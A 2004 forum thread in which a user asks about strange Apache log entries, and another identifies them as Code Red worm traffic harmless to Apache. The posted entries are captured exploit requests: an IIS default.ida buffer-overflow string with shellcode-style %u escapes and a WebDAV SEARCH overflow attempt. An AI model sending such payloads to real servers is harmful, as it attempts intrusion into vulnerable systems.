LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Linux - Security (http://www.linuxquestions.org/questions/linux-security-4/)
-   -   Strange results in /var/log/apache/access.log (http://www.linuxquestions.org/questions/linux-security-4/strange-results-in-var-log-apache-access-log-212940/)

subt13 08-03-2004 12:23 PM

Strange results in /var/log/apache/access.log
 
Hi, I've been getting several hundred entries like this every night and all random ips.

"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 119 "-" "-
and
SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1 \x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02 \xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x
that takes up about 7 pages with one entry.
I have my site on google... but I don't think their bots make entries like that?

Is that normal?

Muzzy 08-03-2004 01:57 PM

From Google, these two links:

http://www.thesitewizard.com/news/coderediiworm.shtml

http://www.linuxquestions.org/questi...postid=1016675

Nothing to worry about if you are using Apache, but you may want to look at ways of stopping this being logged.

Mark.

subt13 08-03-2004 02:21 PM

Thanks Mark!

I see that Microsoft can still give me a headache even though my machine is windows free ;0


All times are GMT -5. The time now is 12:34 PM.